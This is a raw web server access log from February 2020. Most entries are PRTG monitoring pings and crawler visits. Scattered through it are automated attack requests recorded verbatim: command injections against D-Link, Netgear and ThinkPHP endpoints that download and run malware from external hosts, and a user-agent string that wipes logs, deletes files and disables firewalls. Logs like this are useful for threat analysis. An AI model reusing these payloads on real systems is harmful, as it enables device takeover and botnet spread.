212.91.246.72 - - [21/Feb/2020:22:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.72.238.126 - - [21/Feb/2020:22:52:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:22:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:22:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [21/Feb/2020:23:00:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [21/Feb/2020:23:01:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [21/Feb/2020:23:01:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:23:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [21/Feb/2020:23:01:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:23:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:23:04:33 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.36.191.59 - - [21/Feb/2020:23:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:23:07:15 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [21/Feb/2020:23:07:19 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:23:09:28 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.95.63.117 - - [21/Feb/2020:23:13:07 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 400 329 "-" "Hello, World"
212.91.246.72 - - [21/Feb/2020:23:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.76.38.236 - - [21/Feb/2020:23:13:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.221.211.75 - - [21/Feb/2020:23:14:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:23:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [21/Feb/2020:23:17:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:23:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [21/Feb/2020:23:19:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [21/Feb/2020:23:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.215.133.1 - - [21/Feb/2020:23:20:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.10.164 - - [21/Feb/2020:23:23:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:23:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [21/Feb/2020:23:32:04 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [21/Feb/2020:23:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.46 - - [21/Feb/2020:23:33:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [21/Feb/2020:23:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.158.111.136 - - [21/Feb/2020:23:36:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
98.28.219.23 - - [21/Feb/2020:23:37:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:23:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.26.251.221 - - [21/Feb/2020:23:37:41 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.38.198.70 - - [21/Feb/2020:23:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.236.160.200 - - [21/Feb/2020:23:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.46 - - [21/Feb/2020:23:42:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
45.143.221.46 - - [21/Feb/2020:23:43:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
198.20.103.242 - - [21/Feb/2020:23:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.46 - - [21/Feb/2020:23:44:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
166.62.80.166 - - [21/Feb/2020:23:44:21 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
166.62.80.166 - - [21/Feb/2020:23:44:23 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
45.143.221.46 - - [21/Feb/2020:23:44:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [21/Feb/2020:23:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
166.62.126.35 - - [21/Feb/2020:23:47:28 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
212.91.246.72 - - [21/Feb/2020:23:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.126.231.75 - - [21/Feb/2020:23:48:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:23:48:28 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:23:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.182.172.115 - - [21/Feb/2020:23:50:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:23:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.46 - - [21/Feb/2020:23:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [21/Feb/2020:23:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.46 - - [21/Feb/2020:23:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
58.219.236.230 - - [21/Feb/2020:23:51:56 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [21/Feb/2020:23:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.218.0.84 - - [21/Feb/2020:23:54:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:23:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.26.252.109 - - [21/Feb/2020:23:57:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:23:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.46 - - [21/Feb/2020:23:58:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [21/Feb/2020:23:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:23:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [22/Feb/2020:00:00:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [22/Feb/2020:00:00:21 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [22/Feb/2020:00:00:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [22/Feb/2020:00:00:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
31.208.174.203 - - [22/Feb/2020:00:01:45 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
112.17.80.187 - - [22/Feb/2020:00:05:55 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://112.17.80.187:33717/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
45.143.221.46 - - [22/Feb/2020:00:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
72.44.25.71 - - [22/Feb/2020:00:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
91.192.244.66 - - [22/Feb/2020:00:10:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
112.27.187.117 - - [22/Feb/2020:00:13:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
5.101.0.209 - - [22/Feb/2020:00:13:06 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:13:17 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:13:32 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
78.173.111.195 - - [22/Feb/2020:00:16:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [22/Feb/2020:00:18:36 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:18:43 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:18:48 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:18:55 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:19:03 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [22/Feb/2020:00:19:10 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
220.116.93.35 - - [22/Feb/2020:00:19:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [22/Feb/2020:00:20:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [22/Feb/2020:00:20:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [22/Feb/2020:00:20:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
